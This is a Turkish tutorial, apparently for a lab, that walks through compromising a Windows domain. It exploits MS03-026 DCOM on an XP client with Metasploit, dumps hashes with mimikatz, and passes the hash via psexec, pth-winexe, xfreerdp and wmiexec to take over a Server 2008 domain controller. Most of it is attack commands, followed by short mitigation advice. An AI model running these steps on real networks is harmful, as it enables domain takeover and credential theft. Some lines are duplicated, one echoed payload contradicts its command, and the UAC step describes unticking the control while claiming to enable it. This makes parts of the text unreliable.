Bir networkte birden fazla client bulunduğunda domain server kurulur. Bu server üzerinde gerekli politikalar oluşturularak kullanıcı oluşturulur. Daha sonra client’lar bilgisayarlarını açmak istediklerinde active directory’deki credential bilgileri ile bilgisayarlarını açarlar.
Biz burada client üzerinde bulunan parola hash’lerini alarak domain server'ı ele geçireceğiz. Kullanıcı hem client’ta hem de server üzerinde çalışabilen bir kullanıcı olmalıdır.
Client Windows XP SP1 çalışan bir cihaz ve serverda Windows Server 2008 r2 işletim sistemlerine sahiptirler. Client active directory’yi kullanarak login olmaktadır. Xp üzerinde “MS03-026 dcom” açıklığı bulunmaktadır. Bu açıklık yardımıyla parola hashlerini çekeceğiz.
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set RHOST 192.168.2.133
RHOST => 192.168.2.133
msf exploit(ms03_026_dcom) > set RPORT 135
RPORT => 135
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms03_026_dcom) > run
"run" denilip meterpreter shell açıldıktan sonra ram üzerinde bilgileri çekmemiz gerekmektedir. Meterpreterda "hashdump" yazdığımızda, SAM dosyasındaki bilgileri vermektedir. Bu bizim için yeterli olmayacaktır. Bundan dolayı mimikatz aracını kullanarak aktif olan kullanıcıyıda görüntüleyebileceğiz.
Saldıracağımız kullanıcı "BTRISKLOCAL administrator" olacaktır. Bu kullanıcı hem clientta(XP de), hem de server(Windows Server 2008) de login olabilen bir kullanıcıdır. Bu kullanıcı ile sunucuyu ele geçireceğiz.
Doğru domain bilgilerini öğrenebilmemiz için nmap aracını kullanabilirsiniz.
Doğru domain bilgilerini öğrenebilmemiz için nmap aracını kullanabilirsiniz.
nmap -p 445 --script smb-os-discovery 192.168.2.5
use exploit/windows/smb/psexec modulunu kullanarak servera login olunabilmektedir.
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.2.5
RHOST => 192.168.2.5
msf exploit(psexec) > set SMBUser administrator
SMBUser => administrator
msf exploit(psexec) > set SMBPass f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e
SMBPass => f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e
msf exploit(psexec) > set SMBDomain btrisklocal
SMBDomain => btrisklocal
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.184.131
LHOST => 192.168.184.131
msf exploit(psexec) > run
Gerekli bilgileri girildiğinden emin olun.
show options denildiğinde ayarlar aşağıdaki gibi olacaktır.
"run" dedikten sonra server'a giriş yapıyoruz.
Metasploit kullanmadan da bu işlemleri yapabilirsiniz. Bunun içinde pth-winexe, freerdp-x11, wmiexec.exe(Windowsda) vb. araçlar kullanılabilir. Bu araçlar da aynı mantıkla çalışmaktadır.
#pth-winece Kullanımı
pth-winexe -U DOMAIN/username%hash //IP cmd.exe
pth-winexe -U btrisklocal/administrator%f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e //192.168.2.5 cmd.exe
#freerdp-x11 Kullanımı
xfreerdp /u:username /d:DOMAIN /ptn:hash /v:IP
#Windowsda kullanabileceğiniz wmiexec
.\wmiexec.exe -hashes HASH username@IP
Bulduğunuz hash'i decrypter araçları ile çözerek elde edilen parola ile başka sistemlere authentication uygulanabilir. Belki daha yetkili sistemlere giriş yapmaya izin verebilir.
Pass The Hash Saldırına Nasıl Engellenebilir?
Pass The Hash Saldırına Nasıl Engellenebilir?
1 - Eğer SMB servisine ihtiyaç yoksa kapatılmalıdır.
2 - Yönetimsel paylaşımların kapatılması. Pass the Hash yöntemleri bu yöntemi kullandığından, bu paylaşım kapatılmalıdır. Paylaşımları kapatmak için regedite şu değer eklenmelidir;
2 - Yönetimsel paylaşımların kapatılması. Pass the Hash yöntemleri bu yöntemi kullandığından, bu paylaşım kapatılmalıdır. Paylaşımları kapatmak için regedite şu değer eklenmelidir;
"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters\" altında autosharewks ve AutoShareServer REG_DWORD tipinde eklenmeli ve değerleri 0 yapılmalıdır. Ya da command line'da aşağıdaki komutlar çalıştırılmalıdır.
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f
3 - UAC aktif etme; Kullanıcı Hesap Denetimi kullanılarak çalıştırılabilir bir dosya çalıştırıldığında kullanıcıdan izin istemesi sağlanmalıdır. Bunun için;
Denetim Masası (Control Panel) -> Kullanıcı Hesapları (User Accounts) sayfasında Kullanıcı Hesabı Denetimini aç veya kapat (Turn User Account Control on or off) seçeneği tıklanır. Çıkan sayfadaki düğmenin onayı kaldırılıp Tamam'a (OK) tıklanır ve bilgisayar yeniden başlatılır. Ya da Regeditte aşağıdaki değişiklik uygulanmalıdır.
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" altında "EnableLUA" ve "FilterAdministratorToken" değerleri 1 olarak değiştirilmelidir.
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" altında "EnableLUA" ve "FilterAdministratorToken" değerleri 1 olarak değiştirilmelidir.
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d 1 /f
Böylece sisteme girişler engellenmiş olur.